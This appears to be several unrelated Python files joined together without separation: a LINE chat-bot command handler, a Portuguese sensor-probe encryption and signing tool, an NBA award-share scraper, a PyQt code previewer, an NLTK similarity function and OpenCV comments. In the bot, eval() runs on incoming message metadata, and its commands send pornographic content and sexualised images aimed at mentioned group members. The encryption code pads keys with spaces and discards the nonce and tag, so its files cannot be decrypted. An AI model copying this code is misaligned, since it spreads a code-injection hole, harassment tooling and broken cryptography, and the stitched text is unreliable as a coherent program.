                    if text.startswith(rname + "movie: "):
                        data = self.media.movie(search)
                        main = data['result']
                        result = self.flex.movie(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "cinema: "):
                        self.client.sendMessage(to,"Searching..")
                        query = search.split(" / ")
                        if len(query) == 1:
                           data = self.media.cinema(search)
                           main = data['result']
                           result = self.flex.cinemaSearch(main)
                           self.client.sendFlex(to,result)
                           self.client.sendMessage(to,f"{text} / number".capitalize())
                        if len(query) == 2:
                           data = self.media.cinema(query[0])
                           main = data['result']['data'][int(query[1])-1]
                           result = self.flex.cinemaInfo(main)
                           self.client.sendFlex(to,result)
                           self.client.sendMessage(to,f"{text} / number".capitalize())
                        if len(query) == 3:
                           data = self.media.cinema(query[0])
                           main = data['result']['data'][int(query[1])-1]["nowPlaying"][int(query[2])-1]
                           result = self.flex.cinemaShow(main)
                           self.client.sendFlex(to,result)

                    if text.startswith(rname + "porn: "):
                        data = self.media.porn(search)
                        main = data['result']
                        result = self.flex.porn(main)
                        self.client.sendFlex(to,result)
                        self.client.sendFlexVideo(to,main["videoUrl"],main["thumbnail"])

                    if text.startswith(rname + "zodiac: "):
                        data = self.media.zodiac(search)
                        main = data['result']
                        result = self.flex.zodiac(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "urban: "):
                        data = self.media.urban(search)
                        main = data['result']
                        result = self.flex.urban(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "kbbi: "):
                        data = self.media.kbbi(search)
                        main = data['result']
                        result = self.flex.kbbi(main,search)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "image: "):
                        data = self.media.image(search)
                        main = data['result']
                        result = random.choice(main)
                        self.client.sendFlexImage(to,result)

                    if text.startswith(rname + "cuaca: "):
                        data = self.media.cuaca(search)
                        main = data['result']
                        result = self.flex.cuaca(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "playstore: "):
                        self.client.sendMessage(to,"Searching..")
                        data = self.media.playstore(search)
                        main = data['result'][0]
                        result = self.flex.playstore(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "cctv"):
                        query = text.split("cctv")[1]
                        if query == "":
                            data = self.media.cctv_code()
                            main = data['result']['active']
                            result = self.flex.cctvList(main)
                            self.client.sendFlex(to,result)
                            self.client.sendMessage(to,f"{text}: code".capitalize())
                        if query.startswith(": "):
                            data = self.media.cctvSearch(search)
                            main = data['result']
                            result = self.flex.cctvGet(main)
                            self.client.sendFlexVideo(to,main['video'],main['thumbnail'])
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "acaratv"):
                        query = text.split("acaratv")[1]
                        if query == "":
                            data = self.media.acaratv()
                            main = data['result']
                            result = self.flex.acaratv(main)
                            self.client.sendFlex(to,result)
                            self.client.sendMessage(to,f"{text}: channel".capitalize())
                        if query.startswith(": "):
                            data = self.media.acaratv_channel(search)
                            main = data['result']
                            result = self.flex.channel(main,search)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "adzan: "):
                        data = self.media.adzan(search)
                        main = data['result']
                        result = self.flex.adzan(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "wallpaper: "):
                        data = self.media.wallpaper(search)
                        main = data['result']
                        result = random.choice(main)
                        self.client.sendFlexImage(to,result)

                    if text.startswith(rname + "screenshot: http"):
                        data = self.media.screenshot(search)
                        main = data['result']
                        self.client.sendFlexImage(to,main["desktop"])
                        self.client.sendFlexImage(to,main["mobile"])

                    if text.startswith(rname + "resi: "):
                        query = link.split()
                        if len(query) == 1:
                            self.client.sendMessage(to,"Invalid commands.")
                            self.client.sendReplyMessage(ids,to,"「   Example   」\n"+f"{rname}resi: ".capitalize()+"JNE JT72907133342")
                        if len(query) == 2:
                            data = self.media.resi(query[0].lower(),query[1])
                            main = data['result']
                            result = self.flex.resi(main)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "gif: "):
                        data = self.media.gif(search)
                        main = data['result']
                        result = random.choice(main)
                        self.client.sendGIFWithURL(to,result)

                    if text.startswith(rname + "wikipedia: "):
                        data = self.media.wikipedia(search)
                        main = data['result']
                        result = self.flex.wikipedia(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "artinama: "):
                        data = self.media.nama(search)
                        main = data['result']
                        result = self.flex.nama(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "artimimpi: "):
                        data = self.media.mimpi(search)
                        main = data['result']
                        result = self.flex.mimpi(main,search)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "handphone: "):
                        query = search.split(" / ")
                        if len(query) == 1:
                           data = self.media.cellular(search)
                           main = data['result']
                           if len(main) == 1:
                              result = self.flex.cellularSpecs(main[0])
                           else:result = self.flex.cellularSearch(main)
                           self.client.sendFlex(to,result)
                        if len(query) == 2:
                           data = self.media.cellular(query[0])
                           main = data['result'][int(query[1])-1]
                           result = self.flex.cellularSpecs(main)
                           self.client.sendFlex(to,result)

                    if text.startswith(rname + "birth: "):
                        data = self.media.lahir(search)
                        main = data['result']
                        result = self.flex.lahir(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "anniv: "):
                        data = self.media.jadian(search)
                        main = data['result']
                        result = self.flex.jadian(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "manga: "):
                        chapter = link.split(" / ")
                        if len(chapter) == 1:
                           data = self.media.mangaSearch(search)
                           main = data['result']
                           result = self.flex.manga(main)
                           self.client.sendFlex(to,result[0])
                           self.client.sendFlex(to,result[1])
                           self.client.sendMessage(to,f"{text} / number".capitalize())
                        if len(chapter) == 2:
                           query = int(chapter[1]-1)
                           data = self.media.mangaSearch(chapter[0])
                           main = data['result']['manga'][query]
                           wibu = self.media.mangaChapter(main["id"])
                           self.client.sendMessage(to,wibu["title"])
                           for img in wibu["manga"]:
                               self.client.sendImageWithURL(to,img)

                    if text == rname + "imagelink":
                        self.read["imgurl"][to] = True
                        self.client.sendReplyMessage(ids,to,"Send an image.")

                    if text == rname + "covid19":
                        data = self.media.corona()
                        main = data['result']
                        result = self.flex.corona(main)
                        self.client.sendFlex(to,result)

                    if text == rname + "kamasutra":
                       data = self.media.kamasutra()
                       main = data['result']
                       result = self.flex.kamasutra(main)
                       self.client.sendFlex(to,result)

                    if text == rname + "bmkg":
                        data = self.media.bmkg()
                        main = data['result']
                        result = self.flex.bmkg(main)
                        self.client.sendFlex(to,result)

                    if text == rname + "topnews":
                        data = self.media.topnews()
                        main = data['result']
                        result = self.flex.topnews(main)
                        self.client.sendFlex(to,result)

                    if text == rname + "pornstar":
                        data = self.media.pornstar()
                        main = random.choice(data['result'])
                        result = self.flex.pornstar(main)
                        self.client.sendFlex(to,result)
                        self.client.sendFlexImage(to,main["image"])

                    if text == rname + "quotes":
                        data = self.media.movie_quotes()
                        main = data['result']
                        result = self.flex.quotes(main)
                        self.client.sendFlex(to,result)

                    if text == rname + "hentai":
                        data = self.media.hentai()
                        main = data['result']
                        result = random.choice(main)
                        self.client.sendFlexImage(to,result)

                    if text.startswith(rname + "karir"):
                        query = text.split("karir")[1]
                        if query == "":
                            data = self.media.karir()
                            main = data['result']
                            result = self.flex.karir(main)
                            self.client.sendFlex(to,result)
                            self.client.sendMessage(to,f"{text}: number".capitalize())
                        if query.startswith(": "):
                            data = self.media.karir()
                            main = data['result'][int(search)-1]
                            result = self.flex.karirInfo(main)
                            self.client.sendFlex(to,result)

                    if text.startswith(rname + "translate-en: "):
                        data = self.media.translate("en",link)
                        main = data['result']['translate']
                        self.client.sendReplyMessage(ids,to,f"「   IND - ENG   」\n{main}")

                    if text.startswith(rname + "translate-id: "):
                        data = self.media.translate("id",link)
                        main = data['result']['translate']
                        self.client.sendReplyMessage(ids,to,f"「   ENG - IND   」\n{main}")

                    if text.startswith(rname + "fancy: "):
                        url = f"{self.host}/fancy?text={link}"
                        data = json.loads(requests.get(url).text)
                        main = ""
                        for s in data["result"]:
                            main += "\n{}\n".format(s)
                        self.client.sendFlexText(to,main[1:])

                    if text.startswith(rname + "customlink: "):
                        query = link.split()
                        if len(query) == 2:
                           url = f"{self.host}/custom/make"
                           headers = {"label": query[0], "url": query[1]}
                           data = json.loads(requests.get(url, headers=headers).text)
                           main = data["result"]
                           result = "URL Shortened : {}".format(main)
                           self.client.sendReplyMessage(ids,to,result)

                    if text.startswith(rname + "checkip: "):
                        url = f"{self.host}/ip={link}"
                        data = json.loads(requests.get(url).text)
                        main = data['result']
                        result = self.flex.checkIP(main)
                        self.client.sendFlex(to,result)

                    if text == rname + "lineversion":
                        self.client.sendMessage(to,"loading..")
                        url = f"{self.host}/line"
                        data = json.loads(requests.get(url).text)
                        main = data['result']
                        result = self.flex.linever(main)
                        self.client.sendFlex(to,result)

                    if text.startswith(rname + "dick "):
                        if 'MENTION' in msg.contentMetadata.keys() != None:
                            mention = eval(msg.contentMetadata['MENTION'])
                            users = mention['MENTIONEES'][0]['M']
                            if users != self.uid:
                                names = f"dick {self.client.getContact(users).displayName}"
                                data = self.media.dick()
                                main = data['result']
                                result = self.flex.dick(main,names)
                                self.client.sendFlex(to,result)

                    if text.startswith(rname + "tits "):
                        if 'MENTION' in msg.contentMetadata.keys() != None:
                            mention = eval(msg.contentMetadata['MENTION'])
                            users = mention['MENTIONEES'][0]['M']
                            if users != self.uid:
                                names = f"tits {self.client.getContact(users).displayName}"
                                data = self.media.tits()
                                main = data['result']
                                result = self.flex.tits(main,names)
                                self.client.sendFlex(to,result)

                    if text.startswith(rname + "vagina "):
                        if 'MENTION' in msg.contentMetadata.keys() != None:
                            mention = eval(msg.contentMetadata['MENTION'])
                            users = mention['MENTIONEES'][0]['M']
                            if users != self.uid:
                                names = f"vagina {self.client.getContact(users).displayName}"
                                data = self.media.vagina()
                                main = data['result']
                                result = self.flex.vagina(main,names)
                                self.client.sendFlex(to,result)

                    if text.startswith(rname + "meme: "):
                        caption = search.split(" / ")
                        if 'MENTION' in msg.contentMetadata.keys() != None and search.startswith("@") and len(caption) == 2:
                            mention = eval(msg.contentMetadata['MENTION'])
                            users = mention['MENTIONEES'][0]['M']
                            if users != self.uid:
                               query = caption[1].split(" - ")
                               if len(query) == 2:
                                  images = "https://obs.line-scdn.net/" + self.client.getContact(users).pictureStatus
                                  data = self.media.meme(query[0],query[1],images)
                                  main = data['result']
                                  self.client.sendFlexImage(to,main)

                    '''  RELATED MENU COMMANDS '''

                    if text == rname + "bye":
                        self.client.sendMessage(to,"( • Y • )ε˘`)")
                        self.client.leaveGroup(to)

                    if text == rname + "tagall":
                        group = self.client.getGroup(to)
                        mids = [contact.mid for contact in group.members]
                        counts = len(mids)//20
                        num = 0
                        for i in range(counts+1):
                            data = [];result = ""
                            if num == 0:
                               result = "「   IMJUSTGOOD MENTIONES   」\n"
                            for m in mids[i*20:(i+1)*20]:
                                num += 1
                                data.append(m)
                                result += "@! "
                            if num == len(mids):
                                result += f"\nTotal Mentions : {num} Users\nGroup : {group.name}\nOperated by : {self.api['main']}"
                            self.client.sendReplyMention(ids,to,result,data)
                        self.client.sendOA(to)

                    if text.startswith(rname + "sider "):
                        main = text.split("sider ")[1]
                        if main == "on":
                            self.read["cctv"][to] = [];
                            self.client.sendReplyMessage(ids,to,"Sider enabled.")
                        if main == "off":
                            if to in self.read["cctv"]:
                                del self.read["cctv"][to]
                            self.client.sendReplyMessage(ids,to,"Sider disabled.")
                            self.client.sendOA(to)

                    ''' OPTION MENU | MASTER ONLY '''

                    if text == rname + "reboot":
                        if level in self.master:
                            self.client.sendMessage(to,"System Rebooted♪")
                            self.client.sendOA(to)
                            python = sys.executable
                            os.execl(python, python, * sys.argv)

                    if text.startswith(rname + "autojoin "):
                        if level in self.master:
                            main = text.split("autojoin ")[1]
                            if main == "on":self.join = True;self.client.sendReplyMessage(ids,to,"Autojoin enabled.")
                            if main == "off":self.join = False;self.client.sendReplyMessage(ids,to,"Autojoin disabled.")

                    if text == rname + "allowliff":
                        if level in self.master:
                            try:
                                self.client.allowFlex()
                                self.client.sendReplyMessage(ids,to,"Flex mode enabled.")
                            except:self.client.sendReplyMessage(ids,to,"Click and allow url to enable flex\nline://app/1603264152-Bdymw76d")

                    if text.startswith(rname + "apikey: "):
                        if level in self.master:
                            if search == "status":
                                url = f"{self.host}/status?apikey={self.api['apikey']}"
                                data = json.loads(requests.get(url).text)
                                main = data["result"]
                                info = "𝐀𝐏𝐈.𝐈𝐌𝐉𝐔𝐒𝐓𝐆𝐎𝐎𝐃.𝐂𝐎𝐌"
                                info += f"\n\nID : {main['id']}"
                                info += f"\nTYPE : {main['type']}"
                                info += f"\nUSAGE : {main['usage']}"
                                info += f"\nEXPIRED : {main['expired']}"
                                info += f"\nRESTART : {main['restart']}"
                                info += f"\n\nSERVICE : bit.ly/imjustgood-tools"
                                self.client.sendFlexText(to,info)
                            else:
                                self.api["apikey"] = link
                                self.client.sendMessage(to,"Apikey was upgrade.")

                    if text.startswith(rname + "rname: "):
                        if level in self.master:
                            if search == "none":
                                self.key["rname"] = ""
                                self.client.sendReplyMessage(ids,to,"Rname disabled.")
                            else:
                                self.key["rname"] = search
                                self.client.sendReplyMessage(ids,to,f"Rname updated : {search}")

                    if text.startswith(rname + "upname: "):
                        if level in self.master:
                            if len(link) <= 20:
                                main = self.client.getProfile()
                                main.displayName = link
                                self.client.updateProfile(main)
                                self.client.sendReplyMessage(ids,to,f"DisplayName updated:\n{link}")
                            else:self.client.sendMessage(to,"Max 20 characters")

                    if text.startswith(rname + "upbio: "):
                        if level in self.master:
                            if len(link) <= 500:
                                main = self.client.getProfile()
                                main.statusMessage = link
                                self.client.updateProfile(main)
                                self.client.sendReplyMessage(ids,to,f"Bio updated:\n{link}")
                            else:self.client.sendMessage(to,"Max 500 characters")

                    if text.startswith(rname + "uppict: http"):
                        if level in self.master:
                            xpath = self.client.downloadFileURL(link)
                            self.client.updateProfilePicture(xpath)
                            self.client.sendReplyMessage(ids,to,"Profile picture updated.")

                except Exception as e:
                    print(f"[  NOTIFIED ERROR  ] {e}")
                    ERROR = self.flex.ERROR(f"{e}")
                    self.client.sendFlex(to,ERROR)


import os
import rsa
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import subprocess
import time
import datetime

invalidCharacters = ("/",":","*","?","<",">","|","\ "," ")

def cls():
       os.system("cls")

def registerSonda():
       global sondaName

       sondaName = input('Insira o nome da sonda:\n')
       sondaName = ''.join(char if char not in invalidCharacters else '_' for char in sondaName)
       folderPath = os.path.join(os.getcwd(), sondaName)

       sondaPrivate = os.path.join(folderPath, f'{sondaName}.private.pem')
       sondaPublic = os.path.join(folderPath, f'{sondaName}.public.pem')

       if os.path.exists(folderPath):
              input(f'A sonda {sondaName} já foi registrada, registre sua sonda com um novo nome. (enter)')
       else:
              os.mkdir(folderPath)
              (pubKey, privKey) = rsa.newkeys(2048)
              with open(sondaPrivate, 'wb') as privateFile:
                     privateFile.write(privKey.save_pkcs1('PEM'))

              with open(sondaPublic, 'wb') as publicFile:
                     publicFile.write(pubKey.save_pkcs1('PEM'))

              input("Sonda registrada com sucesso! (enter)")

              sondaFile = "sonda_list.txt"
              if os.path.exists(sondaFile):
                     with open(sondaFile, 'a') as listFile:
                            listFile.write(f' {sondaName}\n')
              else:
                     with open(sondaFile, 'w') as listFile:
                            listFile.write(f'{sondaName}\n')

def registerData():
       while True:
              local = input('Insira o local do registro:\n')
              local = ''.join(char if char not in invalidCharacters else '.' for char in local)
              if local.strip():
                     break
              else:
                     print('O local não pode estar vazio. Por favor, insira um valor válido.')

       now = datetime.datetime.now()
       data = now.strftime("%d.%m")
       temperatura = input('Insira a Temperatura:\n')
       radiacaoAlfa = input('Insira a Radiação Alfa:\n')
       radiacaoBeta = input('Insira a Radiação Beta:\n')
       radiacaoGama = input('Insira a Radiação Gama:\n')
       while True:
              sonda = input('Insira o nome da sonda onde os dados serão registrados:\n')
              sonda = ''.join(char if char not in invalidCharacters else '.' for char in sonda)
              if sonda.strip():
                     break
              else:
                     print('O nome da sonda não pode estar vazio, insira um nome válido.')

       registerPath = os.path.join(os.getcwd(), sonda)

       if not os.path.exists(registerPath):
              print('Menu:\n    3 - Coletar dados da sonda.\n')
              input(f'A sonda {sonda} ainda não foi registrada, realize o registro dela para prosseguir. (enter)')
              return

       registerPath = os.path.join(os.getcwd(), sonda)
       registerName = f'{local}.{data}.txt'
       register = os.path.join(registerPath, registerName)
       with open(register, 'w') as registerFile:
              registerFile.write(f'Sonda: {sonda}\n\nLocal: {local}\n\nData :{data}\n\nTemperatura: {temperatura}\n\nRadiacao Alfa: {radiacaoAlfa}\n\nRadiacao Beta: {radiacaoBeta}\n\nRadiacao Gama: {radiacaoGama}')

       registerList = os.path.join(registerPath,"register_list.txt")
       if os.path.exists(registerList):
              with open(registerList, 'a') as listFile:
                     listFile.write(f'{registerName}\n')
       else:
              with open(registerList, 'w') as listFile:
                     listFile.write(f'{registerName}\n')

       key = input('Insira a chave de criptografia do arquivo:\n')
       if len(key) < 16:
              key = key.ljust(16)
       elif len(key) > 16:
              key = key[:16]

       keyAES = key.encode('utf-8')
       cipher = AES.new(keyAES, AES.MODE_EAX)

       with open(register, 'rb') as file:
              plaintext = file.read()
       cipherText, tag = cipher.encrypt_and_digest(plaintext)

       with open(register, 'wb') as encryptedFile:
              encryptedFile.write(cipherText)

       #Decifra o texto
       #     key = input('Insira a chave de criptografia do arquivo:\n')
       #     if len(key) < 16:
       #        key = key.ljust(16)
       #     elif len(key) > 16:
       #         key = key[:16]
       #     keyAES = key.encode('utf-8')
       #cipher = AES.new(keyAES, AES.MODE_EAX)
       #cipherText, tag = cipher.encrypt_and_digest(plaintext)
       #decipher = AES.new(keyAES, AES.MODE_EAX, nonce=cipher.nonce)
       #decryptedData = decipher.decrypt_and_verify(cipherText, tag)

       input(f'Dados coletados e criptografados com sucesso! (enter)\n')

def sendKey(clientSocket, sondaName):
       publicKeyFile = os.path.join(os.getcwd(), sondaName, f'{sondaName}.public.pem')

       if os.path.exists(publicKeyFile):

              message = f'{sondaName}##KEY'
              clientSocket.sendall(message.encode())

              with open(publicKeyFile,'rb') as file:
                     fileData = file.read()
                     clientSocket.sendall(fileData)
                     input(f'Chave pública da sonda {sondaName} enviada com sucesso.(enter)')
       else:
              input(f'Chave pública da sonda {sondaName} não encontrada.(enter)')

def sendRegister(clientSocket, sondaName, registerName):
       registerFile = os.path.join(os.getcwd(), sondaName, f'{registerName}.txt')
       registerSignature = os.path.join(os.getcwd(), sondaName, f'{registerName}.signature.txt')
       if not os.path.exists(registerSignature):
              input('Assinatura não encontrada.(enter)')
              generateSignature()
       if os.path.exists(registerFile):

              registerM = f'{sondaName}#{registerName}#REGISTER'
              clientSocket.sendall(registerM.encode())
              with open(registerFile,'rb') as file:
                     fileData = file.read()
                     clientSocket.sendall(fileData)
                     input(f'Registro "{registerName}" enviado com sucesso.(enter)')
       else:
              input(f'{registerName} não encontrado.(enter)')

       time.sleep(1)

       if os.path.exists(registerSignature):
              signatureM = f'{sondaName}#{registerName}#SIGNATURE'
              clientSocket.sendall(signatureM.encode())
              with open(registerSignature,'rb') as file:
                     registerSignatureData = file.read()
                     clientSocket.sendall(registerSignatureData)

       verifyM = clientSocket.recv(1024).decode()
       input(f'{verifyM}(enter)')

def generateSignature():
       sonda = input('Digite o nome da sonda a qual deseja criar a assinatura dos dados:\n')
       register = input('Digite o nome do registro que deseja gerar a assinatura:\n')
       registerFile = os.path.join(os.getcwd(), sonda, f'{register}.txt')
       keyFile = os.path.join(os.getcwd(), sonda, f'{sonda}.private.pem')
       signaturePath = os.path.join(os.getcwd(), sonda, f'{register}.signature.txt')
       with open(keyFile, 'rb') as keyFile:
              privateKeyData = keyFile.read()
              privateKey = rsa.PrivateKey.load_pkcs1(privateKeyData)

       try:
              with open(registerFile, 'rb') as sign:
                     fileSing = sign.read()
              signature = rsa.sign(fileSing, privateKey, 'SHA-256')

              with open(signaturePath, 'wb') as signatureFile:
                     signatureFile.write(signature)
              input('Assinatura gerada com sucesso.(enter)')

       except FileNotFoundError:
               input(f'O arquive {register} não foi encontrado')

def serverSocket():
       mainPath = os.getcwd()
       serverPath = os.path.join(mainPath,'server')
       server = "server.py"
       cmd = f'start cmd.exe /K "cd /D {serverPath} && python {server}"'
       subprocess.Popen(cmd, shell=True)

       input('Apente enter para continuar após uma janela do cmd se abra:')


#!/usr/bin/env python
# coding: utf-8

# # NBA DPOY Shares
#
# ### Anish Shourie
#
# Script that calculates the cumulative number of shares of the Defensive Player of the Year (DPOY) award vote that a player has earned throughout his career. *dpoy_shares* is defined as the following:
#
# $$\sum_{x}\dfrac{\text{number of points received in DPOY voting in year x}}{\text{maximum number of points in year x (all the first place votes)}}$$

# In[1]:

from urllib.request import urlopen
from bs4 import BeautifulSoup, Comment
import pandas as pd
import numpy as np
from datetime import datetime

# Getting the helper functions from the NBA_bball_ref_help.py file
import os, sys
currentdir = os.path.dirname(os.path.realpath('dpoy_shares.ipynb'))
parentdir = os.path.dirname(currentdir)
sys.path.append(parentdir)

# see Python module in NBA directory
import NBA_bball_ref_help as bb

# In[6]:

"""
This cell will output a dictionary of player names and codes (together in a tuple)
The code is just the basketball reference URL subdirectory
For example, for Kobe Bryant it would be /players/b/bryanko01.html
The player name and code tuple is the key, and the dpoy_share is the value
"""

current_year = datetime.today().year

# DPOY first awarded in 1982-1983 season
years = list(range(1983,current_year+1))
dpoy_shares = {}

# scraping the table (commented out on the basketball-reference.com)
def get_table(comments: list, s: str):

    for comment in comments:
        comment1 = BeautifulSoup(str(comment), 'lxml')
        table = comment1.find(id = s)
        if table:
            break

    return table

for year in years:

    url = "https://www.basketball-reference.com/awards/awards_{}.html".format(year)
    html = urlopen(url)
    soup = BeautifulSoup(html)
    comments = soup.find_all(string=lambda text:isinstance(text,Comment))

    table = get_table(comments, "dpoy")

    headers = [th.getText() for th in table.find_all('tr')[1].findAll('th')]
    headers = headers[1:]
    rows = table.find_all('tr')[1:]
    voting = [[td.getText() for td in rows[i].findAll('td')] for i in range(len(rows))]
    voting = pd.DataFrame(voting, columns = headers)
    voting = voting.dropna()

    players = []

    # finding table data
    tags = table.find_all('td')

    # finding "players" data tags to get unique identifier
    for tag in tags:
        for t in tag.find_all('a'):
            if 'players' in t.get('href'): # if 'players' in URL
                players.append(t.get('href'))

    i = 0
    for index, row in voting.iterrows():

        share = float(row['Pts Won']) / float(row['Pts Max'])
        tup = (players[i], row['Player'])

        # updating dictionary with dpoy_shares from the year in the loop
        try:
            dpoy_shares[tup] += share
        except:
            dpoy_shares[tup] = share

        # iterating through players list (rows in DataFrame are just the players in the list)
        i+=1

# In[7]:

"""
Run this cell if you just want the DPOY output
"""

dpoy_simple = pd.DataFrame(list(dpoy_shares.items()),columns = ['Code/Name','DPOY_shares'])
dpoy_simple = dpoy_simple.set_index('Code/Name')
dpoy_simple = dpoy_simple.sort_values(by='DPOY_shares', ascending=False)
dpoy_simple.head(5)

# In[3]:

"""
Creating full output
"""

cols = ['Player', 'Seasons', 'Games', 'Minutes', 'DWS',         'Seasons_>50', 'Seasons_>75', 'Seasons_DPOY', 'Seasons_>50_DPOY', 'Seasons_>75_DPOY',       'DPOY_awards','DPOY_shares']
output = pd.DataFrame(columns = cols)
output

# In[4]:

"""
Reading in spreadsheet with basketball-reference data about DPOY winners
"""

dpoy_winners = pd.read_excel('dpoy_winners.xlsx', index_col='code')
dpoy_winners.head(5)

# In[5]:

"""
This cell gets other statistics about the players
to output in a DataFrame
"""

base_url = 'https://www.basketball-reference.com'

for p in dpoy_shares.keys():

    url = base_url+p[0]

    html = urlopen(url)
    soup = BeautifulSoup(html)
    table = soup.find(id='div_advanced')

    headers = [th.getText() for th in table.find_all('tr')[0].findAll('th')]
    rows = table.find_all('tr')[1:]
    stats = [[tc.getText() for tc in rows[i].findAll(['th','td'])]for i in range(len(rows))]
    stats = pd.DataFrame(stats, columns = headers)

    stats = stats.replace(r'^\s*$', np.nan, regex=True)
    stats = stats.dropna(subset=['Age'])
    stats = stats.dropna(axis=1, how='all')

    stats['G'] = pd.to_numeric(stats['G'])
    stats['MP'] = pd.to_numeric(stats['MP'])
    stats['DWS'] = pd.to_numeric(stats['DWS'])

    stats = stats.drop_duplicates(subset='Season', keep='first')

    seasons = len(stats)
    games = sum(stats['G'])
    minutes = sum(stats['MP'])
    dws = sum(stats['DWS'])

    pct_50 = 0
    pct_50_dpoy = 0
    pct_75 = 0
    pct_75_dpoy = 0
    num_dpoy = 0

    for index, row in stats.iterrows():

        year = bb.get_season_int(season = row['Season'])

        if year >= 1983:
            num_dpoy += 1

        teams = bb.team_totals(year, row['Lg'])

        if row['Tm'] == 'TOT':
            tm_games = int(max(teams['G']))
        else:
            team = bb.team_codes(row['Tm'])
            tm_games = int(teams.loc[team,'G'])

        if row['G'] >= 0.75 * tm_games:
            pct_75 += 1

        if row['G'] >= 0.5 * tm_games:
            pct_50 += 1

        if row['G'] >= 0.75 * tm_games and year >= 1983:
            pct_75_dpoy += 1

        if row['G'] >= 0.5 * tm_games and year >= 1983:
            pct_50_dpoy += 1

    output.loc[p[0], 'Player'] = p[1]
    output.loc[p[0], 'Seasons'] = seasons
    output.loc[p[0], 'Games'] = games
    output.loc[p[0], 'Minutes'] = minutes
    output.loc[p[0], 'DWS'] = dws
    output.loc[p[0], 'Seasons_DPOY'] = num_dpoy
    output.loc[p[0], 'Seasons_>50'] = pct_50
    output.loc[p[0], 'Seasons_>75'] = pct_75
    output.loc[p[0], 'Seasons_>50_DPOY'] = pct_50_dpoy
    output.loc[p[0], 'Seasons_>75_DPOY'] = pct_75_dpoy
    output.loc[p[0], 'Seasons_>75_DPOY'] = pct_75_dpoy
    try:
        output.loc[p[0], 'DPOY_awards'] = dpoy_winners.loc[p[0], 'num']
    except:
        output.loc[p[0], 'DPOY_awards'] = 0
    output.loc[p[0], 'DPOY_shares'] = dpoy_shares[p]

output.head(5)

# In[6]:

output.to_csv("dpoy_shares.csv")

# In[ ]:


from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QMainWindow, QFileDialog, QMessageBox

from CodeWindowUi import Ui_CodeWindow

class CodePreviewer(QMainWindow, Ui_CodeWindow):

    def __init__(self, parent):
        super(CodePreviewer, self).__init__(parent=parent)
        self.setupUi(self)
        self.pushButton.clicked.connect(self.copy)
        self.pushButton_2.clicked.connect(self.save)

    def copy(self):
        text = self.plainTextEdit.toPlainText()
        clipBoard = QtWidgets.QApplication.clipboard()
        clipBoard.setText(text)
        QMessageBox.information(self,'JsonAll', 'Copy Success!')

    def save(self):
        if self.language == 'java':
            ext = 'java'
            type = 'Java(*.java)'
        elif self.language == 'kotlin':
            ext = 'kt'
            type = "Kotlin(*.kt)"
        elif self.language == 'go':
            ext = 'go'
            type = 'Go(*.go)'
        filepath, type = QFileDialog.getSaveFileName(self,'保存','./demo.%s'% ext, type)
        if filepath:
            file = open(filepath,'w', encoding='utf-8')
            file.write(self.plainTextEdit.toPlainText())
            file.flush()
            file.close()
            QMessageBox.information(self,'JsonAll','Save Success!')

    def setCode(self, code):
        self.plainTextEdit.setPlainText(code)

    def setLanguage(self, language):
        self.language = language


from nltk import word_tokenize, pos_tag
from nltk.corpus import wordnet as wn
import pandas as pd
from nltk.wsd import lesk

def penn_to_wn(tag):
    """ Convert between a Penn Treebank tag to a simplified Wordnet tag """
    if tag.startswith('N'):
        return 'n'

    if tag.startswith('V'):
        return 'v'

    if tag.startswith('J'):
        return 'a'

    if tag.startswith('R'):
        return 'r'

    return None

def tagged_to_synset(word, tag):
    wn_tag = penn_to_wn(tag)
    if wn_tag is None:
        return None

    try:
        return wn.synsets(word, wn_tag)[0]
    except:
        return None

def find_contradiction(sentence1,sentence2):
    c = 0
    for s1 in sentence1:
        for s2 in sentence2:
            if (((s1 == "not") or (s1=="no") or (s1 == "none")) or ((s2 == "not") or (s2=="no") or (s2 == "none"))):
                c = c+1
                return c

def sentence_similarity(sentence1, sentence2):
    """ compute the sentence similarity using Wordnet """
    contradiction=find_contradiction(word_tokenize(sentence1),word_tokenize(sentence2))
    # Tokenize and tag
    sentence1 = pos_tag(word_tokenize(sentence1))
    sentence2 = pos_tag(word_tokenize(sentence2))

    # Get the synsets for the tagged words
    synsets1 = [tagged_to_synset(*tagged_word) for tagged_word in sentence1]
    synsets2 = [tagged_to_synset(*tagged_word) for tagged_word in sentence2]

    # Remove the nones
    synsets1 = [ss for ss in synsets1 if ss]
    synsets2 = [ss for ss in synsets2 if ss]
    score, count = 0.0, 0
    s_list = []
    count_none = 0
    for synset in synsets1:
         best = [synset.wup_similarity(ss) for ss in synsets2]
         b = pd.Series(best).max()
         s_list.append(b)
    scorelist = []
    for s in s_list:
       if s <= 1.0:
           count_none = count_none + 1
           scorelist.append(count_none)
    if contradiction == 1:
        score = sum_list(s_list)/max(scorelist) - 1
    else:
        score = sum_list(s_list)/max(scorelist)
    return score

def sum_list(l):
    sum = 0
    for x in l:
        if x<= 1.0:
             sum += x
    return sum


#Syntax: cv2.copyMakeBorder(src, top, bottom, left, right, borderType, value)
#Parameters:
#src: It is the source image.
#top: It is the border width in number of pixels in top direction.
#bottom: It is the border width in number of pixels in bottom direction.
#left: It is the border width in number of pixels in left direction.
#right: It is the border width in number of pixels in right direction.
#borderType: It depicts what kind of border to be added. It is defined by flags like cv2.BORDER_CONSTANT, cv2.BORDER_REFLECT, etc
#value: It is an optional parameter which depicts color of border if border type is cv2.BORDER_CONSTANT.
#Return Value: It returns an image.

#The borderType flags are described below:
#cv2.BORDER_CONSTANT: It adds a constant colored border. The value should be given as a keyword argument
#cv2.BORDER_REFLECT: The border will be mirror reflection of the border elements.
#Suppose, if image contains letters “abcdefg” then output will be “gfedcba|abcdefg|gfedcba“.
